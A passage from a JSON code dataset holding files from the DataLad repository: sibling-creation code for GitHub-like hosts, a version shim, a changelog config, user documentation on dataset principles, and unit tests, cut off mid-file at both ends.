urljoin(self.api_url, self.get_authenticated_user_endpoint)\\n headers = self.request_headers\\n r = requests.get(endpoint, headers=headers)\\n # make sure any error-like situation causes noise\\n r.raise_for_status()\\n self._user_info = r.json()\\n return self._user_info\\n\\n # TODO what are the actual constraints?\\n def normalize_reponame(self, path):\\n \\\"\\\"\\\"Turn name into a GitHub-like service compliant repository name\\n\\n Useful for sanitizing directory names.\\n \\\"\\\"\\\"\\n return re.sub(r'\\\\s+', '_', re.sub(r'[/\\\\\\\\]+', '-', path))\\n\\n def get_dataset_reponame_mapping(\\n self, ds, name, reponame, existing, recursive, recursion_limit,\\n res_kwargs):\\n \\\"\\\"\\\"Discover all relevant datasets locally, and build remote repo names\\n \\\"\\\"\\\"\\n dss = _get_present_datasets(ds, recursive, recursion_limit)\\n # check for existing remote configuration\\n toprocess = []\\n toyield = []\\n for d in dss:\\n if existing not in ('reconfigure', 'replace') and \\\\\\n name in d.repo.get_remotes():\\n toyield.append(get_status_dict(\\n ds=d,\\n status='error' if existing == 'error' else 'notneeded',\\n message=('already has a configured sibling \\\"%s\\\"', name),\\n **res_kwargs)\\n )\\n continue\\n gh_reponame = reponame if d == ds else \\\\\\n '{}-{}'.format(\\n reponame,\\n self.normalize_reponame(\\n str(d.pathobj.relative_to(ds.pathobj))))\\n toprocess.append((d, gh_reponame))\\n return toprocess, toyield\\n\\n def get_siblingname(self, siblingname):\\n \\\"\\\"\\\"Generate a (default) sibling name, if none is given\\n\\n Returns\\n -------\\n str\\n \\\"\\\"\\\"\\n if siblingname:\\n return siblingname\\n\\n if self.api_url:\\n siblingname = urlparse(self.api_url).netloc\\n\\n if not siblingname:\\n raise ValueError(\\n 'No valid sibling name given or determined: {}'.format(\\n siblingname))\\n\\n return siblingname\\n\\n def create_repo(self, ds, reponame, organization, private, dry_run,\\n description, existing):\\n \\\"\\\"\\\"Create a repository on the target platform\\n\\n Returns\\n -------\\n dict\\n Result record, with status='ok' when all is good, status='error'\\n when unrecoverably broken, status='impossible' when recoverably\\n broken\\n\\n Raises\\n ------\\n Exception\\n Any unhandled condition (in particular unexpected non-success\\n HTTP response codes) will raise an exception.\\n \\\"\\\"\\\"\\n res = self.repo_create_request(\\n reponame, organization, private, dry_run, description)\\n\\n if res.get('status') == 'impossible' and res.get('preexisted'):\\n # we cannot create, because there is something in the target\\n # spot\\n orguser = organization or self.authenticated_user['login']\\n\\n if existing == 'reconfigure':\\n # we want to use the existing one instead\\n # query properties, report, and be done\\n repo_props = self.repo_get_request(orguser, reponame)\\n res.update(\\n status='notneeded',\\n # return in full\\n host_response=repo_props,\\n # perform some normalization\\n **self.normalize_repo_properties(repo_props)\\n )\\n elif existing == 'replace':\\n # only implemented for backward compat with\\n # create-sibling-github\\n _msg = ('repository \\\"%s\\\" already exists', reponame)\\n if ui.is_interactive:\\n remove = ui.yesno(\\n \\\"Do you really want to remove it?\\\",\\n title=_msg[0] % _msg[1],\\n default=False\\n )\\n else:\\n return dict(\\n res,\\n status='impossible',\\n message=(\\n _msg[0] + \\\" Remove it manually first or \\\"\\n \\\"rerun DataLad in an interactive shell \\\"\\n \\\"to confirm this action.\\\",\\n _msg[1]),\\n )\\n if not remove:\\n return dict(\\n res,\\n status='impossible',\\n message=_msg,\\n )\\n # remove the beast in cold blood\\n self.repo_delete_request(\\n organization or self.authenticated_user['login'],\\n reponame)\\n # try creating now\\n return self.create_repo(\\n ds, reponame, organization, private, dry_run,\\n description, existing)\\n\\n # TODO intermediate error handling?\\n\\n return res\\n\\n def repo_get_request(self, orguser, reponame):\\n \\\"\\\"\\\"Perform request to query for repo properties\\n\\n Returns\\n -------\\n dict\\n The JSON payload of the response.\\n \\\"\\\"\\\"\\n # query information on the existing repo and use that\\n # to complete the task\\n r = requests.get(\\n urljoin(\\n self.api_url,\\n self.get_repo_info_endpoint.format(\\n user=orguser,\\n repo=reponame)),\\n headers=self.request_headers,\\n )\\n # make sure any error-like situation causes noise\\n r.raise_for_status()\\n return r.json()\\n\\n def repo_delete_request(self, orguser, reponame):\\n \\\"\\\"\\\"Perform request to delete a named repo on the platform\\n\\n Must be implemented in subclasses for particular target platforms.\\n \\\"\\\"\\\"\\n raise NotImplementedError\\n\\n def create_repos(self, dsrepo_map, siblingname, organization,\\n private, dry_run, description, res_kwargs,\\n existing, access_protocol,\\n publish_depends):\\n \\\"\\\"\\\"Create a series of repos on the target platform\\n\\n This method handles common conditions in a uniform platform-agnostic\\n fashion, and sets local sibling configurations for created/located\\n repositories.\\n\\n Yields\\n ------\\n dict\\n Result record\\n \\\"\\\"\\\"\\n for d, reponame in dsrepo_map:\\n res = self.create_repo(\\n d, reponame, organization, private, dry_run, description,\\n existing)\\n # blend reported results with standard properties\\n res = dict(\\n res,\\n **res_kwargs)\\n\\n if res.get('preexisted') and existing == 'skip':\\n # we came here, despite initial checking for conflicting\\n # sibling names. this means we found an unrelated repo\\n res['status'] = 'error'\\n res['message'] = (\\n \\\"A repository '%s' already exists at '%s', \\\"\\n \\\"use existing=reconfigure to use it as a sibling\\\",\\n reponame, self.api_url)\\n\\n if 'message' not in res:\\n if not dry_run:\\n res['message'] = (\\n \\\"sibling repository '%s' created at %s\\\",\\n siblingname, res.get('html_url')\\n )\\n else:\\n # can't know url when request was not made\\n res['message'] = (\\n \\\"would create sibling '%s' and repository '%s%s'\\\",\\n siblingname,\\n organization + \\\"/\\\" if organization else \\\"\\\",\\n reponame\\n )\\n # report to caller\\n yield get_status_dict(**res)\\n\\n if res['status'] not in ('ok', 'notneeded'):\\n # something went wrong, do not proceed\\n continue\\n\\n if dry_run:\\n continue\\n\\n if res['status'] == 'notneeded' \\\\\\n and existing not in ('reconfigure', 'replace'):\\n # nothing to do anymore, when no reconfiguration is desired\\n continue\\n\\n # lastly configure the local datasets\\n for var_name, var_value in \\\\\\n self.extra_remote_settings.items():\\n var = 'remote.{}.{}'.format(siblingname, var_name)\\n if existing in ('reconfigure', 'replace'):\\n d.config.set(var, var_value, scope='local')\\n elif var not in d.config:\\n d.config.add(var, var_value, scope='local')\\n yield from d.siblings(\\n 'configure',\\n name=siblingname,\\n url=res['ssh_url']\\n if access_protocol == 'ssh'\\n else res['clone_url'],\\n pushurl=res['ssh_url']\\n if access_protocol == 'https-ssh' else None,\\n recursive=False,\\n # TODO fetch=True, maybe only if one existed already\\n publish_depends=publish_depends,\\n return_type='generator',\\n result_renderer='disabled')\\n\\n def repo_create_request(self, reponame, organization, private,\\n dry_run=False, description=None):\\n \\\"\\\"\\\"Perform a request to create a repo on the target platform\\n\\n Also implements reporting of \\\"fake\\\" results in dry-run mode.\\n\\n Returns\\n -------\\n dict\\n Result record, but see repo_create_response() for details.\\n \\\"\\\"\\\"\\n endpoint = urljoin(\\n self.api_url,\\n self.create_org_repo_endpoint.format(\\n organization=organization)\\n if organization else\\n self.create_user_repo_endpoint)\\n desc_text = description if description is not None else 'some default'\\n data = {\\n 'name': reponame,\\n 'description': desc_text,\\n 'private': private,\\n 'auto_init': False,\\n }\\n headers = self.request_headers\\n\\n if dry_run:\\n return dict(\\n status='ok',\\n request_url=endpoint,\\n request_data=data,\\n request_headers=headers,\\n )\\n r = requests.post(\\n endpoint,\\n json=data,\\n headers=headers,\\n )\\n return self.repo_create_response(r)\\n\\n def repo_create_response(self, r):\\n \\\"\\\"\\\"Handling of repo creation request responses\\n\\n Normalizes error handling and reporting.\\n\\n Returns\\n -------\\n dict\\n Result record\\n\\n Raises\\n ------\\n Exception\\n Raises for any unhandled HTTP error response code.\\n \\\"\\\"\\\"\\n try:\\n response = r.json()\\n except Exception as e:\\n lgr.debug('Cannot get JSON payload of %s [%s]' , r, e)\\n response = {}\\n lgr.debug('%s responded with %s %s', self.fullname, r, response)\\n if r.status_code == self.response_code_repo_created:\\n return dict(\\n status='ok',\\n preexisted=False,\\n # return in full\\n host_response=response,\\n # perform some normalization\\n **self.normalize_repo_properties(response)\\n )\\n elif r.status_code == requests.codes.unprocessable and \\\\\\n 'already exist' in response.get('message', ''):\\n return dict(\\n status='impossible',\\n message='repository already exists',\\n preexisted=True,\\n )\\n elif r.status_code in (self.response_code_unauthorized,\\n requests.codes.forbidden):\\n return dict(\\n status='error',\\n message=('unauthorized: %s', response.get('message')),\\n )\\n elif r.status_code == requests.codes.internal_server_error:\\n return dict(\\n status='error',\\n message=response.get('message', '').strip() or 'Server returned error code %d without any further information' % requests.codes.internal_server_error,\\n )\\n # make sure any error-like situation causes noise\\n r.raise_for_status()\\n # catch-all\\n raise RuntimeError(f'Unexpected host response: {response}')\\n\\n def normalize_repo_properties(self, response):\\n \\\"\\\"\\\"Normalize the essential response properties for the result record\\n\\n Importantly, `clone_url` is a URL that DataLad can directly clone\\n from, and that should be the default preferred access method for read\\n access by the largest possible audience. Critically, a particular\\n platform, might advertise SSH as default, but DataLad might promote\\n anonymous HTTP-access as a default, if supported.\\n\\n Returns\\n -------\\n dict\\n \\\"\\\"\\\"\\n return dict(\\n reponame=response.get('name'),\\n private=response.get('private'),\\n clone_url=response.get('clone_url'),\\n ssh_url=response.get('ssh_url'),\\n html_url=response.get('html_url'),\\n )\\n\\n\\ndef _create_sibling(\\n platform,\\n reponame,\\n dataset=None,\\n recursive=False,\\n recursion_limit=None,\\n name=None,\\n existing='error',\\n access_protocol='https',\\n publish_depends=None,\\n private=False,\\n description=None,\\n dry_run=False):\\n \\\"\\\"\\\"Helper function to conduct sibling creation on a target platform\\n\\n Parameters match the respective create_sibling_*() commands.\\n `platform` is an instance of a subclass of `_GitHubLike`.\\n\\n Yields\\n ------\\n dict\\n Result record.\\n \\\"\\\"\\\"\\n\\n orgname, reponame = split_org_repo(reponame)\\n\\n # apply whatever normalization or default selection\\n name = platform.get_siblingname(name)\\n\\n lgr.debug(\\\"Repository organization name: '%s'\\\", orgname)\\n\\n if reponame != platform.normalize_reponame(reponame):\\n raise ValueError(\\n f'Invalid name for a {platform.fullname} project: {reponame}')\\n\\n lgr.debug(\\\"Repository basename: '%s'\\\", reponame)\\n\\n # what to operate on\\n ds = require_dataset(\\n dataset,\\n check_installed=True,\\n purpose=f'create {platform.fullname} sibling(s)')\\n\\n res_kwargs = dict(\\n action=\\\\\\n f'create_sibling_{platform.name} [dry-run]'\\n if dry_run else\\n f'create_sibling_{platform.name}',\\n logger=lgr,\\n refds=ds.path,\\n )\\n\\n toprocess, filterresults = platform.get_dataset_reponame_mapping(\\n ds, name, reponame, existing, recursive, recursion_limit,\\n res_kwargs\\n )\\n yield from filterresults\\n\\n if not toprocess:\\n # all skipped\\n return\\n\\n lgr.debug(\\\"Will process %i dataset(s)\\\", len(toprocess))\\n\\n yield from platform.create_repos(\\n toprocess,\\n name,\\n orgname,\\n private,\\n dry_run,\\n description,\\n res_kwargs,\\n existing,\\n access_protocol,\\n publish_depends,\\n )\\n\\n\\ndef split_org_repo(name):\\n \\\"\\\"\\\"Split a potential organization name prefix from a repo's full name\\n\\n Returns\\n -------\\n (None, reponame) or (orgname, reponame)\\n \\\"\\\"\\\"\\n split = name.split('/', maxsplit=1)\\n if len(split) < 2:\\n return None, name\\n else:\\n return split[0], split[1]\\n\\n\\ndef _get_present_datasets(ds, recursive, recursion_limit):\\n \\\"\\\"\\\"Return list of (sub)dataset instances for all locally present datasets\\n \\\"\\\"\\\"\\n # gather datasets and essential info\\n # dataset instance and mountpoint relative to the top\\n toprocess = [ds]\\n if recursive:\\n for sub in ds.subdatasets(\\n # we want to report on missing dataset in here\\n state='any',\\n recursive=recursive,\\n recursion_limit=recursion_limit,\\n result_xfm='datasets',\\n result_renderer='disabled',\\n return_type='generator'):\\n if not sub.is_installed():\\n lgr.info('Ignoring unavailable subdataset %s', sub)\\n continue\\n toprocess.append(sub)\\n return toprocess\\n\"\n },\n {\n \"alpha_fraction\": 0.5525059700012207,\n \"alphanum_fraction\": 0.5620524883270264,\n \"avg_line_length\": 31.230770111083984,\n \"blob_id\": \"f689e8954cec54603454267d7bdb72b216acc193\",\n \"content_id\": \"b8464169d243a1a281a9d7aeeb3ab7017973ec78\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 838,\n \"license_type\": \"permissive\",\n \"max_line_length\": 92,\n \"num_lines\": 26,\n \"path\": \"/datalad/version.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# Compatibility kludge for now to not break anything relying on datalad.version\\n#\\n\\nimport warnings\\n\\nfrom ._version import get_versions\\n\\nwarnings.warn(\\n \\\"datalad.version module will be removed in 0.16. \\\"\\n \\\"Please use datalad.__version__ (no other __*_version__ variables are to be provided).\\\",\\n DeprecationWarning)\\n\\n__version__ = get_versions()['version']\\n__hardcoded_version__ = __version__\\n__full_version__ = __version__\\n\\ndel get_versions\\n\"\n },\n {\n \"alpha_fraction\": 0.7631579041481018,\n \"alphanum_fraction\": 0.7679426074028015,\n \"avg_line_length\": 51.25,\n \"blob_id\": \"a7e57506e584d08ab52a6bc83fc0444000024926\",\n \"content_id\": \"8d1b4c1cbf91a3fd15623c97ac7c3ff50e571bd2\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"INI\",\n \"length_bytes\": 442,\n \"license_type\": \"permissive\",\n \"max_line_length\": 146,\n \"num_lines\": 8,\n \"path\": \"/changelog.d/scriv.ini\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"[scriv]\\nfragment_directory = changelog.d\\nentry_title_template = file: templates/entry_title.md.j2\\nnew_fragment_template = file: templates/new_fragment.md.j2\\nformat = md\\n# The categories must align with the category names in SEMVER_LABELS in\\n# tools/ci/mkchlog-snippet.py\\ncategories = 💥 Breaking Changes, 🚀 Enhancements and New Features, 🐛 Bug Fixes, 🔩 Dependencies, 📝 Documentation, 🏠 Internal, 🏎 Performance, 🧪 Tests\\n\"\n },\n {\n \"alpha_fraction\": 0.7425722479820251,\n \"alphanum_fraction\": 0.7434880137443542,\n \"avg_line_length\": 47.89552307128906,\n \"blob_id\": \"c5506768dfbd3cb1283b72f1d6c0b3af4f840463\",\n \"content_id\": \"0d627b76910b9fc2eac513d3fddea3389046bc17\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 9828,\n \"license_type\": \"permissive\",\n \"max_line_length\": 95,\n \"num_lines\": 201,\n \"path\": \"/docs/source/basics.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \".. -*- mode: rst -*-\\n.. vi: set ft=rst sts=4 ts=4 sw=4 et tw=79:\\n\\n.. _chap_basic_principles:\\n\\n****************\\nBasic principles\\n****************\\n\\nDataLad is designed to be used both as a command-line tool, and as a Python\\nmodule. The sections :ref:`chap_cmdline` and :ref:`chap_modref` provide\\ndetailed description of the commands and functions of the two interfaces. This\\nsection presents common concepts. Although examples will frequently be\\npresented using command line interface commands, all functionality with\\nidentically named functions and options are available through Python API as\\nwell.\\n\\nDatasets\\n========\\n\\nA DataLad :term:`dataset` is a Git repository that may or may not have a data\\n:term:`annex` that is used to manage data referenced in a dataset. In practice,\\nmost DataLad datasets will come with an annex.\\n\\nTypes of IDs used in datasets\\n-----------------------------\\n\\nFour types of unique identifiers are used by DataLad to enable identification\\nof different aspects of datasets and their components.\\n\\nDataset ID\\n A UUID that identifies a dataset as a whole across its entire history and\\n flavors. This ID is stored in a dataset's own configuration file\\n (``<dataset root>/.datalad/config``) under the configuration key\\n ``datalad.dataset.id``.\\n As this configuration is stored in a file that is part of the Git history of\\n a dataset, this ID is identical for all \\\"clones\\\" of a dataset and across all\\n its versions. If the purpose or scope of a dataset changes enough to warrant\\n a new dataset ID, it can be changed by altering the dataset configuration\\n setting.\\nAnnex ID\\n A UUID assigned to an annex of each individual clone of a dataset repository.\\n Git-annex uses this UUID to track file content availability information. The\\n UUID is available under the configuration key ``annex.uuid`` and is stored\\n in the configuration file of a local clone (``<dataset root>/.git/config``).\\n A single dataset instance (i.e. clone) can only have a single annex UUID,\\n but a dataset with multiple clones will have multiple annex UUIDs.\\nCommit ID\\n A Git hexsha or tag that identifies a version of a dataset. This ID uniquely\\n identifies the content and history of a dataset up to its present state. As\\n the dataset history also includes the dataset ID, a commit ID of a DataLad\\n dataset is unique to a particular dataset.\\nContent ID\\n Git-annex key (typically a checksum) assigned to the content of a file in\\n a dataset's annex. The checksum reflects the content of a file, not its name.\\n Hence the content of multiple identical files in a single (or across)\\n dataset(s) will have the same checksum. Content IDs are managed by Git-annex\\n in a dedicated ``annex`` branch of the dataset's Git repository.\\n\\n\\nDataset nesting\\n---------------\\n\\nDatasets can contain other datasets (:term:`subdataset`\\\\s), which can in turn\\ncontain subdatasets, and so on. There is no limit to the depth of nesting\\ndatasets. Each dataset in such a hierarchy has its own annex and its own\\nhistory. The parent or :term:`superdataset` only tracks the specific state of a\\nsubdataset, and information on where it can be obtained. This is a powerful yet\\nlightweight mechanism for combining multiple individual datasets for a specific\\npurpose, such as the combination of source code repositories with other\\nresources for a tailored application. In many cases DataLad can work with a\\nhierarchy of datasets just as if it were a single dataset. Here is a demo:\\n\\n.. include:: basics_nesteddatasets.rst.in\\n :start-after: Let's create a dataset\\n :end-before: ___________________________\\n\\n\\nDataset collections\\n-------------------\\n\\nA superdataset can also be seen as a curated collection of datasets, for example,\\nfor a certain data modality, a field of science, a certain author, or from\\none project (maybe the resource for a movie production). This lightweight\\ncoupling between super and subdatasets enables scenarios where individual datasets\\nare maintained by a disjoint set of people, and the dataset collection itself can\\nbe curated by a completely independent entity. Any individual dataset can be\\npart of any number of such collections.\\n\\nBenefiting from Git's support for workflows based on decentralized \\\"clones\\\" of\\na repository, DataLad's datasets can be (re-)published to a new location\\nwithout losing the connection between the \\\"original\\\" and the new \\\"copy\\\". This\\nis extremely useful for collaborative work, but also in more mundane scenarios\\nsuch as data backup, or temporary deployment of a dataset on a compute cluster,\\nor in the cloud. Using git-annex, data can also get synchronized across\\ndifferent locations of a dataset (:term:`sibling`\\\\s in DataLad terminology).\\nUsing metadata tags, it is even possible to configure different levels of\\ndesired data redundancy across the network of dataset, or to prevent\\npublication of sensitive data to publicly accessible repositories. Individual\\ndatasets in a hierarchy of (sub)datasets need not be stored at the same location.\\nContinuing with an earlier example, it is possible to post a curated\\ncollection of datasets, as a superdataset, on GitHub, while the actual datasets\\nlive on different servers all around the world.\\n\\nBasic command line usage\\n========================\\n\\n.. include:: basics_cmdline.rst.in\\n :end-before: ___________________________\\n\\n\\nAPI principles\\n==============\\n\\nYou can use DataLad's ``install`` command to download datasets. The command accepts\\nURLs of different protocols (``http``, ``ssh``) as an argument. Nevertheless, the easiest way\\nto obtain a first dataset is downloading the default :term:`superdataset` from\\nhttps://datasets.datalad.org/ using a shortcut.\\n\\nDownloading DataLad's default superdataset\\n--------------------------------------------\\n\\nhttps://datasets.datalad.org provides a super-dataset consisting of datasets\\nfrom various portals and sites. Many of them were crawled, and periodically\\nupdated, using `datalad-crawler <https://github.com/datalad/datalad-crawler>`__\\nextension. The argument ``///`` can be used\\nas a shortcut that points to the superdataset located at https://datasets.datalad.org/. \\nHere are three common examples in command line notation:\\n\\n``datalad install ///``\\n installs this superdataset (metadata without subdatasets) in a\\n `datasets.datalad.org/` subdirectory under the current directory\\n``datalad install -r ///openfmri``\\n installs the openfmri superdataset into an `openfmri/` subdirectory.\\n Additionally, the ``-r`` flag recursively downloads all metadata of datasets \\n available from http://openfmri.org as subdatasets into the `openfmri/` subdirectory\\n``datalad install -g -J3 -r ///labs/haxby``\\n installs the superdataset of datasets released by the lab of Dr. James V. Haxby\\n and all subdatasets' metadata. The ``-g`` flag indicates getting the actual data, too.\\n It does so by using 3 parallel download processes (``-J3`` flag).\\n\\n\\nDownloading datasets via http\\n-----------------------------\\n\\nIn most places where DataLad accepts URLs as arguments these URLs can be\\nregular ``http`` or ``https`` protocol URLs. For example:\\n\\n``datalad install https://github.com/psychoinformatics-de/studyforrest-data-phase2.git``\\n\\nDownloading datasets via ssh\\n----------------------------\\nDataLad also supports SSH URLs, such as ``ssh://me@localhost/path``.\\n\\n``datalad install ssh://me@localhost/path``\\n\\nFinally, DataLad supports SSH login style resource identifiers, such as ``me@localhost:/path``.\\n\\n``datalad install me@localhost:/path``\\n\\n\\nCommands `install` vs `get`\\n---------------------------\\n\\nThe ``install`` and ``get`` commands might seem confusingly similar at first.\\nBoth of them could be used to install any number of subdatasets, and fetch\\ncontent of the data files. Differences lie primarily in their default\\nbehaviour and outputs, and thus intended use. Both ``install`` and ``get``\\ntake local paths as their arguments, but their default behavior and output\\nmight differ;\\n\\n- **install** primarily operates and reports at the level of **datasets**, and\\n returns as a result dataset(s)\\n which either were just installed, or were installed previously already under\\n specified locations. So result should be the same if the same ``install``\\n command ran twice on the same datasets. It **does not fetch** data files by\\n default\\n\\n- **get** primarily operates at the level of **paths** (datasets, directories, and/or\\n files). As a result it returns only what was installed (datasets) or fetched\\n (files). So result of rerunning the same ``get`` command should report that\\n nothing new was installed or fetched. It **fetches** data files by default.\\n\\nIn how both commands operate on provided paths, it could be said that ``install\\n== get -n``, and ``install -g == get``. But ``install`` also has ability to\\ninstall new datasets from remote locations given their URLs (e.g.,\\n``https://datasets.datalad.org/`` for our super-dataset) and SSH targets (e.g.,\\n``[login@]host:path``) if they are provided as the argument to its call or\\nexplicitly as ``--source`` option. If ``datalad install --source URL\\nDESTINATION`` (command line example) is used, then dataset from URL gets\\ninstalled under PATH. In case of ``datalad install URL`` invocation, PATH is\\ntaken from the last name within URL similar to how ``git clone`` does it. If\\nformer specification allows to specify only a single URL and a PATH at a time,\\nlater one can take multiple remote locations from which datasets could be\\ninstalled.\\n\\nSo, as a rule of thumb -- if you want to install from external URL or fetch a\\nsub-dataset without downloading data files stored under annex -- use ``install``.\\nIn Python API ``install`` is also to be used when you want to receive in output the\\ncorresponding Dataset object to operate on, and be able to use it even if you\\nrerun the script. In all other cases, use ``get``.\\n\"\n },\n {\n \"alpha_fraction\": 0.6077724099159241,\n \"alphanum_fraction\": 0.6157852411270142,\n \"avg_line_length\": 29.814815521240234,\n \"blob_id\": \"055da9379f22212f86f2f879977b3ac2e6730a84\",\n \"content_id\": \"1ad9508a4f1203f429b49c77499e41f6dddc1c81\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2496,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 81,\n \"path\": \"/datalad/interface/tests/test_base.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"test the holy grail of interfaces\\n\\n\\\"\\\"\\\"\\n\\nfrom datalad.cmd import (\\n StdOutCapture,\\n WitlessRunner,\\n)\\nfrom datalad.tests.utils_pytest import (\\n assert_in,\\n assert_not_in,\\n eq_,\\n ok_,\\n swallow_outputs,\\n with_tempfile,\\n)\\n\\nfrom ..base import update_docstring_with_parameters\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_status_custom_summary_no_repeats(path=None):\\n from datalad.api import Dataset\\n from datalad.core.local.status import Status\\n\\n # This regression test depends on the command having a custom summary\\n # renderer *and* the particular call producing summary output. status()\\n # having this method doesn't guarantee that it is still an appropriate\\n # command for this test, but it's at least a necessary condition.\\n ok_(hasattr(Status, \\\"custom_result_summary_renderer\\\"))\\n\\n ds = Dataset(path).create()\\n out = WitlessRunner(cwd=path).run(\\n [\\\"datalad\\\", \\\"--output-format=tailored\\\", \\\"status\\\"],\\n protocol=StdOutCapture)\\n out_lines = out['stdout'].splitlines()\\n ok_(out_lines)\\n eq_(len(out_lines), len(set(out_lines)))\\n\\n with swallow_outputs() as cmo:\\n ds.status(return_type=\\\"list\\\", result_renderer=\\\"tailored\\\")\\n eq_(out_lines, cmo.out.splitlines())\\n\\n\\ndef test_update_docstring_with_parameters_no_kwds():\\n from datalad.support.param import Parameter\\n\\n def fn(pos0):\\n \\\"fn doc\\\"\\n\\n assert_not_in(\\\"3\\\", fn.__doc__)\\n # Call doesn't crash when there are no keyword arguments.\\n update_docstring_with_parameters(\\n fn,\\n dict(pos0=Parameter(doc=\\\"pos0 param doc\\\"),\\n pos1=Parameter(doc=\\\"pos1 param doc\\\")),\\n add_args={\\\"pos1\\\": 3})\\n assert_in(\\\"3\\\", fn.__doc__)\\n\\n\\ndef test_update_docstring_with_parameters_single_line_prefix():\\n from datalad.support.param import Parameter\\n\\n def fn(pos0, pos1):\\n pass\\n\\n update_docstring_with_parameters(\\n fn,\\n dict(pos0=Parameter(doc=\\\"pos0 param doc\\\"),\\n pos1=Parameter(doc=\\\"pos1 param doc\\\")),\\n prefix=\\\"This is a single line.\\\",\\n )\\n assert_in(\\\"This is a single line.\\\\n\\\\nParameters\\\\n\\\", fn.__doc__)\\n\"\n },\n {\n \"alpha_fraction\": 0.5670102834701538,\n \"alphanum_fraction\": 0.5733544826507568,\n \"avg_line_length\": 44.03571319580078,\n \"blob_id\": \"6d0bcd696503d05ad843295d7688864b1aa5e6a4\",\n \"content_id\": \"9e3be993893c74d9a615878b2197db1683830fd0\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1261,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 28,\n \"path\": \"/datalad/tests/test_strings.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\nfrom ..support.strings import apply_replacement_rules\\nfrom .utils_pytest import *\\n\\n\\ndef test_apply_replacement_rules():\\n # replacement rule should be at least 3 char long\\n assert_raises(ValueError, apply_replacement_rules, '/', 'some')\\n assert_raises(ValueError, apply_replacement_rules, ['/a/b', '/'], 'some')\\n # and pattern should have the separator only twice\\n assert_raises(ValueError, apply_replacement_rules, '/ab', 'some')\\n assert_raises(ValueError, apply_replacement_rules, '/a/b/', 'some')\\n\\n eq_(apply_replacement_rules('/a/b', 'abab'), 'bbbb')\\n eq_(apply_replacement_rules('/a/', 'abab'), 'bb')\\n eq_(apply_replacement_rules(['/a/b'], 'abab'), 'bbbb')\\n eq_(apply_replacement_rules(['/a/b', ',b,ab'], 'abab'), 'abababab')\\n\\n # with regular expression groups\\n eq_(apply_replacement_rules(r'/st(.*)n(.*)$/\\\\1-\\\\2', 'string'), 'ri-g')\\n\"\n },\n {\n \"alpha_fraction\": 0.6039362549781799,\n \"alphanum_fraction\": 0.6161199808120728,\n \"avg_line_length\": 31.530487060546875,\n \"blob_id\": \"b28aa0815a470912dd722a51895cf58fb6db432d\",\n \"content_id\": \"908512316ed2abbc33b1de8bdc539444e3ee4bbb\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5335,\n \"license_type\": \"permissive\",\n \"max_line_length\": 78,\n \"num_lines\": 164,\n \"path\": \"/datalad/customremotes/tests/test_ria_utils.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import tempfile\\nfrom os.path import join\\nfrom urllib.parse import quote\\n\\nfrom datalad.customremotes import ria_utils\\nfrom datalad.customremotes.ria_utils import (\\n UnknownLayoutVersion,\\n create_ds_in_store,\\n create_store,\\n verify_ria_url,\\n)\\nfrom datalad.distributed.ora_remote import (\\n LocalIO,\\n SSHRemoteIO,\\n)\\nfrom datalad.tests.utils_pytest import (\\n SkipTest,\\n assert_equal,\\n assert_raises,\\n assert_true,\\n rmtree,\\n skip_ssh,\\n with_tempfile,\\n)\\nfrom datalad.utils import (\\n Path,\\n on_windows,\\n)\\n\\n\\n@with_tempfile\\ndef _test_setup_store(io_cls, io_args, store=None):\\n io = io_cls(*io_args)\\n store = Path(store)\\n version_file = store / 'ria-layout-version'\\n error_logs = store / 'error_logs'\\n\\n # invalid version raises:\\n assert_raises(UnknownLayoutVersion, create_store, io, store, '2')\\n\\n # non-existing path should work:\\n create_store(io, store, '1')\\n assert_true(version_file.exists())\\n 